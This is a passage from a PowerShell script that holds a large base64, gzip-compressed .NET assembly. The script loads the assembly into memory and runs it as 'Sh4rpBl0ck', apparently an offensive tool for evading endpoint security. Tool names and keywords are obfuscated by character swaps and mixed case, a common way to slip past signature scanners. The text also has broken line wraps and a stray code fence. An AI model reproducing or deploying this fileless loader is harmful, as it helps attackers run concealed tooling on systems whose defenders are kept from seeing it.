sE0UjWORnofER9doJlyrtXytjDSvryTGlt1g75/DVcx8hQaVKYLSI0bJdQ
0AYzQWiT2WZ8QLcKueYJ2ZoYXAJBSlGsEiOTUOGCuQ8Gqa0+L4nkQg4OWY
kjoxikSgT+SUmCWwOW5/hgllqI3+HNwItWuZghYKL6XnRxxcjd5VdKK9DM
E7BXVp9kaW2R01HT5nYF1FfpFoKpIB+VkLdXTGIMhmj0oLvcrTN8/zRXNj
+7SBs/x4EX2KWUGn/AUb8AlMSWIyPvc89z4/kMBmQkQf226/xCHL7smTG7
S/LwRv64I2CB8EyWcn5HkalmH1NZZlmRL0AZkVXG/l5T1rIEB1hIdJyjaQ
rT3p4cjYCFWWHDWMKCQt6EtEoDZXT0V5yeSajvQSyYgX5jHglrV7QKSjaF
yutz7s+pPyimyvC0X9Ftt+R7be5bb8o5S/K9vMM6AA+wnwdccCBvr7MciT
KUxQKixGh0BAhwwAsZ/XlIgqQrxwiZ8tWWj+BYv8UO05e6ycRtCpy9Wx62
UiWOjznVKXe0rf5H/WeCNvHYA7tI+EM9OyVSH/QVoDfQ9KEWPc1iMnsGPj
hGV0ir7T+qdL6l0rrH4NK64dQpd4PsHmmG6bSGWXY8AMGnJPUlDNuvsq8H
wCBaws8Y4PU8eeDMLCw/aaPb9h+S6b7r/M8hdR+k8lk+y2w7UrUldzy54x
XGpSz5dMIwvar+MdCUhpQ/hvoHgqC7E2ma+1XAzkVA6j2d8VdvBp4hg4fg
XdIlYcchCDUm1o5h5fzqJioRLYfSEGPMJorEPZNKqCoB0oPqwz2prfZgcp
BUvUWWqrsgElxqmXXDM3zpk61wPNmRPumaNgPNOpq2P4eF3RlX68R2z8KP
qCm1HTyDWaw25scYuHhy8JjjG77vPswzzY/m3ok2vkbfNyzo9cpPwO4J0u
VbY4qph7JqXJS+x5Hhckt0/FfvB7H+6b3TSueLXXcnY56bP/CtX0H6tMz
k/sO1mcmZxb3PjH5xMyB+uRibXFh/8GFQ3v3Htin1ABG2atPTil12lHvnX
p27nzynOfd9vzV7ZmpA6A5GE6azLtt+YSSkH3ipCUGrOr+lFPlv/2+o/7/
87/9uCLLGNlThP1Z7Lvb9buwD/Wp56enMoG/cQ/4ryNh+y2MuTvTadmdmc
H2ojqnrmA7pz4iP0bzGuAr2D+rnkKZn29kf/zfGo/ThfOoOcqq3nd+K3VS
```

```
6i7Kj0dPmZ+++KMpf+Ln5zHpdV5+ZuLP7Q1z4Z/cISGfP8l+xiWOc6nLHr
ZiuiEw08nfjLqKrVLvFXnYC0eTOyvkM55qW5PxNzt3mpjPk6oEGDte/0sy
+On3cx8/cBKp/heVvkC1029vl3/heNsAfzq5mFXfaNah6lzyQ1znQqHkKi
R8TqkQ/c8o3hmgLzTqvcBF9amL1euKFyHtAw37hI73i2w6ePQMLcoVUBz/
ZiJFBe5I83MG35Kh2fK88sC0f0Bk3X0ZTXo+7iXjGZFxd79eSffK+ZD0OW
5+rFyWixN4EcH9+n0746p/Tin5j//sz48cfWm5Ed82fnUcvnc8rpvncM+O
Xzj/1OSh8bgpN4/zjRWz45v15vjRJweLg8Uj9iFYMVCsNGfHb62vHG4u3K
gv15qTy0sL66vN1Wsbkwury4drzeWp23vH42Xz6OGL6fGALI4TZKflSUob
m1008W885mO2Zsef2Uy9SGSqtrY2vkdj2Fi/1ZRn3jwgPfv0yOjZNL+emG
PUJK8M4Ut5lxr16/XmA2LdP55gSeNJHlx5pn673ogb3M6O15r61RDr4/Gt
Jf1AoNnxa7VGs26YEiR7+lBjSd/TRfuRPYkQcHxkjxXqk+qX9vkfCSQEpw
DkAQA="))
    $decompressed = New-Object IO.Compression.GzipStream
($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArra
y)

    $OldConsoleOut = [Console]::Out
    $StringWriter = New-Object IO.StringWriter
    [Console]::SetOut($StringWriter)

    [Sh4rpBl0ck.Program]::Main($Command.Split(" "))

    [Console]::SetOut($OldConsoleOut)
    $Results = $StringWriter.ToString()
    $Results
}
```